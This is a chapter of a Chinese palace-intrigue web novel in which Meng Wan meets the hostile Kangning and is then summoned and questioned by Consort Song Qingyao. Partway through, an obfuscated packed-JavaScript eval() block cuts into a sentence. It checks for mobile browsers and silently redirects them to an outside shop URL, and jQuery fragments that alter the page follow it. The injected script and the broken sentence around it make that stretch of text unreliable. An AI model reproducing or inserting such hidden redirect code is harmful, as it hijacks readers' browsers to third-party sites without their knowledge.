“气色不错。”康宁言简意赅。
孟绾想起自己那日是被她带去了洛水祠,随后才被太子掳走的,终于对这个女子产生了一些警惕。
但在此之前,她一直是欣赏她的,天之娇女,却洒脱恣意。
但原来,这样的人若诚意发狠害人,是一点怜悯也不留的。
孟绾明白她是为什么,而且她完全有那个手段。
但不论各自的目的是什么,她们就是站在了对立面。
“嗯,夫君最近对我还不错。”孟绾皮笑肉不笑地回答她。
康宁神色微变,顿了顿,笑道:“是么……不过像你这样的人,他从前的确没有遇见过,贪几日新鲜,也好理解。”
孟绾无意和她逞口舌之快,当即就想走,康宁却跟着挪了一小步,拦住她去路。
孟绾抬头看过去,康宁似笑非笑:“小小蚍蜉,何能撼树?你既招惹了不该招惹之人,又妄图全身而退,你打算连累死他吗?”
孟绾微微眯眼,“死”字在她脑中转悠了一圈,她脱口而出:“什么意思?”
康宁却不屑与她多说,轻牵了下唇角,转身走了。
不安的情绪像一股小小泉流在周身游弋,她在原地呆站了会儿,准备转身去找卿柔县主。
这时,众人忽然都安静下来,纷纷朝着一个方向行礼。
只有今日最大的主家出场才会有这样的氛围,孟绾不好在大家都安静不动的情况下胡乱走动,只好站在原地藏在某人身后跟着装鸵鸟。
在场的都是身着华丽衣裳挽着高高发髻的夫人小姐们,约莫百十来人,在宋清瑶仪驾露面后便没了一丝声响,只能听闻彼此浅淡的呼吸之声。
随后,便有人高呼贵人驾到,众人整齐划一地躬身行礼。
孟绾低着头,余光关注周遭的一举一动,跟着别人的动作尽量不出错。
来之前,赵玥是亲自抽空教过她入宫行礼之种种规矩的,细节也有府上的嬷嬷教导,以孟绾的悟性和谨慎,想要出错也挺难的。
礼毕,宋贵人的声音轻轻柔柔传过人群:“日近年关,就想大家聚在一起热闹热闹,不必多礼,自便就好。”
话音落下,大家都稍稍放松了不少,有那活泼的已经开始和周围人嬉笑说话。
孟绾缩在一旁,远远看见那位贵人被簇拥着进了正厅,带着一堆贵人自去快说话了,才开始挪步。
她尽量低调地去寻卿柔县主的身影,但很快,就有一个看着颇严肃的嬷嬷朝她走来。
那嬷嬷看着很有些身份,发髻与穿戴与寻常嬷嬷无异,身上衣裳颜色却不同,玄色衣裳嵌银色丝线花纹,低调贵气。
“娘子,娘娘有请。”老嬷嬷径直拦住孟绾去路,沉声道。
孟绾:“哪个娘娘?”
老嬷嬷眉目不动:“宋贵人。”
孟绾了然,但没料到对方竟直接派人来找她。
她也想近距离去看看她,再说了也没办法推辞,于是跟着去了。
老嬷嬷却没带她去宋清瑶方才进入的正厅,而是将她带往正厅后面的偏殿。
“这是娘娘休息的地方,你且在此等一等。”老嬷嬷说完这话就转身走了。
孟绾刚要跟上打算问自己要等多久,角落里忽然窜出一道人影悄无声息拦在她面前。
“……”
皇宫大内,怎能少了异士?孟绾只好默默收回自己的目光,看了眼面前之人,又用余光瞥见这屋内似乎还有其他人。
拦她之人没有伺候招呼她的意思,与之对视了几息之后,孟绾转身发现屋内有坐榻,榻上有小几,几上有果点……于是转身朝坐榻走去,想了想,坐了下来。
然而还是没人理她,孟绾守了会儿规矩,目光在小几上的果点上晃了几圈,那糖渍的红枣泛着晶莹的光,看着就鲜亮,她咬了会儿后槽牙,思索着宋清瑶将她毒杀在这里的可能有几分。
然而谨慎起见,她还是收回目光,没吃。
阳光透过窗棂落在脚边,随着时光流失,它缓慢移动着方向。
按照估算,孟绾等了约莫半个时辰,才终于等到了过来休息的宋清瑶。
她长得实在是美,先前只是远观,如今近看,皮肤粉雕玉琢,眉不描而黑,唇不画而红……看起来不过二十出头,哪里像是三十多岁的人?
宋清瑶款款进来,带进一阵好闻的幽香,不浓不淡,从未闻过。
孟绾立刻起身规规矩矩地站着。
但宋清瑶只是瞥了自己一眼,脚步不曾停留,便去了里间。
棉竹帘撩起又落下,孟绾只能看见美人的裙摆,很快就连裙摆都看不见了。
正不知对方是何意味,就听见一道轻柔的声音从内传出:“带进来,我仔细看看。”
从她进来起,孟绾便提着一颗心,小心谨慎,呼吸都放得轻而缓,闻言一怔,继而腿比脑快,抬步就要往里走。
周遭那两个“异士”忽然用警惕的目光扫向她,仿佛她是什么危险的刺客,孟绾只好脚步一顿,不知该如何。
这时,有人从里面替她打帘,还有侍女来迎,孟绾跟着走了进去。
宋清瑶端坐在妆台前,阖着眸,有人正给她揉着太阳穴。
孟绾闻见一阵清凉的药油味,那揉着太阳穴的嬷嬷正是方才来叫自己的那位,她此时此刻就不是那副严肃的模样了,眉眼之间尽显柔和。
“娘娘听了那许多的话,很是费神,这药油是太医院新研制出来的,有舒缓安神之效,您闻闻,可知里面还掺了什么花?”
宋清瑶“嗯”了声,依旧闭着眼:“是很好闻,也不凉,这里面掺了什么?”
老嬷嬷笑道:“是惠兰。这花难得,花房培育了几株,今年都用来入香了。”
宋清瑶点点头:“嗯,难怪,是有些熟悉的。”
主仆二人说了会子话,一个话题停下了,仿佛才想起旁边还有一个人。
宋清瑶睁眼看向孟绾,眸光温柔,眉眼中不含一丝戾气,她微微笑道:“你就是冯二郎家新娶的媳妇?”
孟绾看着这样的美人,听着这样温柔和煦的声音,一时有些怔愣。
在那嬷嬷咳嗽声提醒后,方才记起要行礼。
“臣妇参见贵人娘娘,愿娘娘千岁金安。”
说完这话,头顶传来淡笑。
孟绾抬眸,就见宋清瑶温柔地笑看着自己。
她一时恍惚,觉得这女人如此温柔美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713334|206970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好,怎么能是命人随意下杀手之人呢?
“冯家二郎病危,你是自愿给他冲喜的吗?还是他们逼你的?嗯?”宋清瑶声音温柔,不带任何情绪地问道,仿佛只是同她随意拉家常,说些无关紧要的闲话。
孟绾:“……自愿的。”
“回娘娘话时,前面要加个‘回娘娘的话’。”老嬷嬷适时提醒。
孟绾便又补充了一遍:“回娘娘的话,臣妇是自愿的。”
宋清瑶脸上温和的笑容渐渐收了回去,虽然没有变得让人害怕,但也能看得出来,她不太满意这回答。
那该怎么回答?
说出去的话收不回来,她也没有义务哄着这位不知真面目的贵人,孟绾静静等着对方下文,正观察着对方的神情,老嬷嬷往她面前一站,挡了她的视线。
孟绾:“……”连看也不让看了。
“那真是可惜了,”孟绾听那温柔的声音再次响起,“我还当你是被迫的,却原来,是有人自作多情。”
孟绾反应了片刻才反应过来对方话里的意思,她没敢接话。
宋清瑶却似乎无话可说了,喊了一声“温媪”就从妆台前的椅子上起来。
原来这有着变脸把戏的老嬷嬷叫“温媪”,孟绾想,就见主仆二人并不打算再理她,朝一旁的拔步床走去。
她站了会儿,就有个年轻婢女受到温媪的指使,过来给她引路。
“去哪儿?”孟绾问。
年轻婢女:“夫人请跟我来,我带您回去。”
这就回去了?
孟绾心中疑虑,但也不敢在此多停留,于是跟着年轻婢女出了这间精贵的寝房,出了次间,走到廊上。
“卿柔县主和靖远侯夫人都去了太后处,我领夫人过去。”年轻婢女神色如常。
“太后?”孟绾不解。
年轻婢女却不再多说,只是走在侧前方引路。
孟绾驻足回头,宋清瑶的休息室门外站着不少伺候之人,个个都是一样的表情——木讷,温雅,像一张统一的面具。
她不由想起宋清瑶的那张脸,完美,精致,温柔……实在是从未见过的神女一般的存在,说话还那般温柔,看起来也不蠢,难怪能受皇帝独宠多年。
只是……她看不懂她。
“夫人?”引路的年轻婢女喊道。
孟绾回头,跟着人往深宫而去。
皇宫内院,宫墙建造得极高,不知是为了防贼,还是特意给人压迫感,孟绾第一次来这种地方,走在深巷之中,心中难免惴惴。
这路走了许久,孟绾一直在心中默记他们的路线,若真是将她带到了无人之处想将她处置了,她也不会全无方向。
好在路虽绕,虽长,但没有将她带到什么传说中的荒废宫殿。
她被带入了一座宽敞的庭院,深冬时节,庭院建造精巧,草木依旧茂盛。
见她进来,原本等在庭院中的侍女很快上前来接。
这侍女长得依然很普通,敦厚,只看一眼是记不住的长相,莫名叫人觉得安全。
但是大约就是因为这种处处叫她觉得安全的氛围令她逐渐放松了警惕,所以,她并未看出这个侍女其实是个隐藏气息的高手。